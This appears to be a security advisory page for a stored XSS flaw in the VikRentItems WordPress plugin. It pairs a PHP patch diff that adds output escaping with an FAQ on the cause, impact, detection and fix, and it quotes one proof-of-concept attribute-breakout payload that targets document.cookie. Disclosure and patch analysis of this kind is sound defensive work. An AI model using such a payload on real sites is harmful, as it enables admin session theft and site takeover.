+ // generate a random serial code
+ $rand_pin = $this->generateSerialCode(8);
+ } while ($this->pinExists($rand_pin));
+
if (!$notpush) {
$this->all_pins[] = $rand_pin;
}
+
return $rand_pin;
}
/**
- * Checks if the pin already exists
- * @param pin
- * @param ignorepin
- */
- public function pinExists($pin, $ignorepin = '') {
- $current_pins = $this->all_pins === false ? $this->getAllPins($ignorepin) : $this->all_pins;
+ * Checks if the pin already exists.
+ *
+ * @param string $pin
+ * @param string $ignorepin
+ *
+ * @return boolean
+ */
+ public function pinExists($pin, $ignorepin = '')
+ {
+ $current_pins = $this->all_pins ?: $this->getAllPins($ignorepin);
+
return in_array($pin, $current_pins);
}
/**
- * Fetches and sets all the pins currently stored in the database
- * @param ignorepin
- */
- public function getAllPins($ignorepin = '') {
+ * Fetches and sets all the pins currently stored in the database
+ *
+ * @param string $ignorepin An optional PIN to ignore in the query.
+ *
+ * @return array The array of all the PINs currently stored in the database.
+ */
+ public function getAllPins($ignorepin = '')
+ {
$current_pins = array();
$q = "SELECT `pin` FROM `#__vikrentitems_customers`".(!empty($ignorepin) ? " WHERE `pin`!=".$this->dbo->quote($ignorepin) : "").";";
$this->dbo->setQuery($q);
- $this->dbo->execute();
- if ($this->dbo->getNumRows() > 0) {
- $pins = $this->dbo->loadAssocList();
- foreach ($pins as $v) {
- $current_pins[] = $v['pin'];
- }
+ $pins = $this->dbo->loadAssocList();
+
+ foreach ($pins as $v) {
+ $current_pins[] = $v['pin'];
}
+
$this->all_pins = $current_pins;
+
return $this->all_pins;
}
--- a/vikrentitems/site/views/oconfirm/tmpl/default.php
+++ b/vikrentitems/site/views/oconfirm/tmpl/default.php
@@ -1168,10 +1168,10 @@
<div class="vri-customfield-input vri-oconfirm-cfield-input">
<?php
if ($cf['isphone'] == 1) {
- echo $vri_app->printPhoneInputField(array('name' => 'vrif' . $cf['id'], 'id' => 'vrif-inp' . $cf['id'], 'value' => $def_textval, 'class' => 'vriinput', 'size' => '40'));
+ echo $vri_app->printPhoneInputField(array('name' => 'vrif' . $cf['id'], 'id' => 'vrif-inp' . $cf['id'], 'value' => JHtml::fetch('esc_attr', $def_textval), 'class' => 'vriinput', 'size' => '40'));
} else {
?>
- <input type="text" name="vrif<?php echo $cf['id']; ?>" id="vrif-inp<?php echo $cf['id']; ?>" value="<?php echo $def_textval; ?>" size="40" class="vriinput"/>
+ <input type="text" name="vrif<?php echo $cf['id']; ?>" id="vrif-inp<?php echo $cf['id']; ?>" value="<?php echo JHtml::fetch('esc_attr', $def_textval); ?>" size="40" class="vriinput"/>
<?php
}
?>
@@ -1190,7 +1190,7 @@
<?php echo $fname; ?>
</div>
<div class="vri-customfield-input vri-oconfirm-cfield-input">
- <textarea name="vrif<?php echo $cf['id']; ?>" id="vrif-inp<?php echo $cf['id']; ?>" rows="5" cols="30" class="vritextarea"><?php echo $def_textval; ?></textarea>
+ <textarea name="vrif<?php echo $cf['id']; ?>" id="vrif-inp<?php echo $cf['id']; ?>" rows="5" cols="30" class="vritextarea"><?php echo JHtml::fetch('esc_textarea', $def_textval); ?></textarea>
</div>
</div>
<?php
@@ -1203,7 +1203,7 @@
<?php echo $fname; ?>
</div>
<div class="vri-customfield-input vri-oconfirm-cfield-input">
- <?php echo $vri_app->getCalendar('', 'vrif'.$cf['id'], 'vrif-inp'.$cf['id'], $nowdf, array('class' => 'vriinput', 'size' => '10', 'value' => $def_textval, 'maxlength' => '19')); ?>
+ <?php echo $vri_app->getCalendar('', 'vrif'.$cf['id'], 'vrif-inp'.$cf['id'], $nowdf, array('class' => 'vriinput', 'size' => '10', 'value' => JHtml::fetch('esc_attr', $def_textval), 'maxlength' => '19')); ?>
</div>
</div>
<?php
@@ -1211,7 +1211,7 @@
?>
<script type="text/javascript">
jQuery(document).ready(function() {
- jQuery('#vrif-inp<?php echo $cf['id']; ?>').val('<?php echo addslashes($def_textval); ?>');
+ jQuery('#vrif-inp<?php echo $cf['id']; ?>').val('<?php echo htmlentities($def_textval); ?>');
});
</script>
<?php
--- a/vikrentitems/vikrentitems.php
+++ b/vikrentitems/vikrentitems.php
@@ -3,7 +3,7 @@
Plugin Name: VikRentItems
Plugin URI: https://vikwp.com/plugin/vikrentitems
Description: Multi-purpose items rental system.
-Version: 1.2.1
+Version: 1.2.2
Author: E4J s.r.l.
Author URI: https://vikwp.com
License: GPL2
@@ -298,6 +298,18 @@
{
require_once VRI_ADMIN_PATH . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR . 'vikrentitems.php';
require_once VRI_ADMIN_PATH . DIRECTORY_SEPARATOR . 'helpers' . DIRECTORY_SEPARATOR . 'jv_helper.php';
+
+ /**
+ * License expiration check is required for routine actions and it only involves Pro plugin users.
+ *
+ * @since 1.2.2
+ */
+ if (!wp_doing_ajax() && VikRentItemsLicense::getKey() && VikRentItemsLicense::isExpired())
+ {
+ // display a message
+ $message = sprintf('Your Pro license has expired. Please <a href="%s">renew your license</a> to continue receiving updates and support.', 'admin.php?option=com_vikrentitems&view=gotopro');
+ $app->enqueueMessage($message, 'error');
+ }
}
});
Frequently Asked Questions
What is CVE-2026-16143?
Vulnerability overviewCVE-2026-16143 is a stored cross-site scripting (XSS) vulnerability in the VikRentItems plugin for WordPress, affecting versions up to and including 1.2.1. It allows unauthenticated attackers to inject arbitrary scripts via the customer email field in the booking checkout form, which execute when an admin views the order in the backend.
How does the vulnerability work?
Technical mechanismThe saveorder() function retrieves the customer email using VikRequest::getString(), which applies sanitize_text_field() but does not neutralize double quotes. The raw value is stored in the database. Later, the admin editorder template echoes this value into an HTML input’s value attribute without esc_attr(), allowing an attacker to break out of the attribute and inject HTML or JavaScript.
Who is affected by this vulnerability?
Affected versions and usersWordPress sites running VikRentItems version 1.2.1 or earlier are affected. Both the plugin’s front-end booking form and the admin order editing page are involved, so any site with the plugin installed and active is at risk.
How can I check if my site is vulnerable?
Detection stepsCheck the VikRentItems plugin version in the WordPress admin under Plugins. If it is 1.2.1 or lower, the site is vulnerable. You can also review the source code of the admin editorder template (admin/views/editorder/tmpl/default.php) to see if the custmail value is echoed without esc_attr().
What is the CVSS score and severity?
Risk assessmentThe vulnerability has a CVSS score of 7.2, rated as High severity. This reflects the unauthenticated attack vector and the potential for arbitrary script execution in the admin context, which could lead to full site compromise.
How can I fix the vulnerability?
Patch and updateUpdate VikRentItems to version 1.2.2 or later, which patches the issue by adding proper output escaping with esc_attr() in the affected templates. Ensure automatic updates are enabled or manually update from the WordPress dashboard.
Are there any temporary mitigations if I cannot update immediately?
WorkaroundsAs a temporary measure, you can use a Web Application Firewall (WAF) rule to block requests containing suspicious payloads in the custmail parameter. However, updating the plugin is the only reliable fix, as the vulnerability is in the core plugin code.
What does the proof of concept (PoC) demonstrate?
PoC explanationThe PoC shows how an attacker can submit a crafted email value like ‘” >alert(document.cookie)’ through the booking form. This payload bypasses sanitization and is stored. When an admin views the order, the script executes, demonstrating the stored XSS.
What is the impact of successful exploitation?
Potential consequencesAn attacker can execute arbitrary JavaScript in the admin’s browser, potentially stealing session cookies, capturing keystrokes, performing actions on behalf of the admin, or defacing the admin interface. This could lead to full site compromise, including data theft or malware installation.
Why is sanitize_text_field() not sufficient?
Sanitization limitationssanitize_text_field() strips tags and encodes some characters but does not neutralize double quotes or other HTML attribute-breaking characters. Since the value is echoed into an HTML attribute without escaping, double quotes allow breaking out of the attribute context, enabling script injection.
How does the patch address the vulnerability?
Patch detailsThe patch modifies the admin editorder template to wrap the custmail output in JHtml::fetch(‘esc_attr’, …), which HTML-encodes special characters like double quotes and angle brackets. This prevents attribute breakout and neutralizes any injected scripts.
Are there other similar vulnerabilities in the plugin?
Related issuesThe patch also includes additional output escaping fixes in the admin customer search results and the oconfirm template, indicating a broader hardening of output contexts. While CVE-2026-16143 focuses on the custmail field, these related fixes address similar XSS risks.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






